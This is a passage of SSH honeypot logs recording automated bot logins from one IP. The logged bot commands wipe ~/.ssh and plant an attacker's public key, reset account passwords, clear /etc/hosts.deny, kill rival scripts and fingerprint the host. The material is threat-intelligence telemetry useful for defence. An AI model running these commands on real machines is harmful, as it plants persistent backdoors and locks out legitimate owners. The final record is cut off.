{"id":"e5fce962-9da0-4f2e-821c-7189ba7b8c1c","name":"bronzed-vigilant-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":45808,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:36.969894+00:00","ended_at":"2026-08-27T13:08:38.478631+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:08:19.343455+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:19.659116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:23.515379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:23.790127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:24.106543+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:08:24.423436+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:08:24.739359+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:25.265150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:25.584550+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:26.690580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:27.011527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:28.298043+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:28.620075+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:29.311018+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:29.629734+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:29.914073+00:00","kind":"output","latency_ms":null,"data":" 13:08:29 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:30.231403+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:30.971165+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:31.292109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:31.769177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:32.085509+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:32.508483+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:32 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:32.830565+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:33.500396+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:33.816782+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:34.196525+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:34.516350+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:35.393588+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:08:35.710617+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:36.653998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:36.970715+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:38.389512+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"4a67f42d-5a36-461f-a737-cee38c3e6338","name":"wry-balmy-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":45816,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:21.560931+00:00","ended_at":"2026-08-27T13:08:23.420447+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"643c3bf1-e0b6-4ccd-ac58-39060cf9beb6","name":"twilight-blithe-merlin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":45812,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:20.342643+00:00","ended_at":"2026-08-27T13:08:20.972240+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e2827558-c0bf-403f-887a-ceed52b5ac6e","name":"ashen-autumn-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:37.211124+00:00","ended_at":"2026-08-27T13:06:39.140279+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:06:19.207082+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:06:19.503202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:06:23.072555+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:06:23.346762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:06:23.645565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pq79u7BaTzb8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:06:23.939319+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:06:24.234603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:06:25.092734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:06:25.389552+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:06:26.378418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:06:26.676570+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:06:27.884305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:06:28.181187+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:06:28.484416+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:06:28.777713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:06:29.390234+00:00","kind":"output","latency_ms":null,"data":" 13:06:29 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:06:29.685522+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:06:30.334433+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:06:30.632096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:06:31.441133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:06:31.737612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:06:32.433531+00:00","kind":"output","latency_ms":null,"data":"top - 13:06:32 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:06:32.735894+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:06:33.567136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:06:33.864413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:34.681691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:34.978831+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:35.282242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:06:35.578066+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:36.915603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:37.211827+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:39.055146+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"bf51edf9-8aa7-445b-9559-41f3e4ad19b4","name":"steady-dewy-cicada","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52632,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:06:21.822701+00:00","ended_at":"2026-08-27T13:06:22.986962+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"59a06842-b008-47bd-90f5-11fc6016047a","name":"sterling-plucky-owl","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52630,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:06:20.166479+00:00","ended_at":"2026-08-27T13:06:21.227315+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"459198e0-3ad0-4842-ac57-15bd9617cee7","name":"alpine-mindful-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39800,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:33.784479+00:00","ended_at":"2026-08-27T13:04:35.010501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:04:14.451249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:04:14.750743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:04:18.852301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:04:19.375533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:04:19.675409+00:00","kind":"input","latency_ms":null,"data":"echo \"root:t1kwNNSMI2xE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:04:19.973789+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:04:20.272395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:04:20.875459+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:04:21.178665+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:04:22.169620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:04:22.470282+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:04:23.517713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:04:23.819899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:04:24.673161+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:04:24.971087+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:04:25.473500+00:00","kind":"output","latency_ms":null,"data":" 13:04:25 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:04:25.772357+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:04:26.249634+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:04:26.549253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:04:27.384428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:04:27.686642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:28.385793+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:28 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:28.684088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:29.546002+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:29.844413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:30.732772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:31.030224+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:31.675943+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:31.975839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:33.485568+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:33.785280+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:34.923412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"495b9dcc-5498-4d32-8fdd-007068a0e981","name":"gleaming-ivory-skua","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58480,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:04:17.828089+00:00","ended_at":"2026-08-27T13:04:18.764390+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2cd7ed48-7673-44f3-b81e-5b43965843b8","name":"northern-thawing-mallard","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58474,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:04:15.467749+00:00","ended_at":"2026-08-27T13:04:17.244309+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0f682362-d5e7-4e59-b4bd-42fd12ad9a28","name":"orderly-mighty-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59570,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:26.363338+00:00","ended_at":"2026-08-27T13:02:28.596587+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T13:02:08.972891+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:02:09.270635+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:02:13.053046+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:02:13.437964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:02:13.737356+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:02:14.036039+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:02:14.333554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:02:15.050745+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:02:15.349426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:02:16.695693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:02:16.996093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:02:17.939569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:02:18.239270+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:02:18.602550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:02:18.901654+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:02:19.329343+00:00","kind":"output","latency_ms":null,"data":" 13:02:19 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:02:19.627422+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:02:20.418452+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:02:20.716727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:02:21.040351+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:02:21.341035+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:02:22.166250+00:00","kind":"output","latency_ms":null,"data":"top - 13:02:22 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 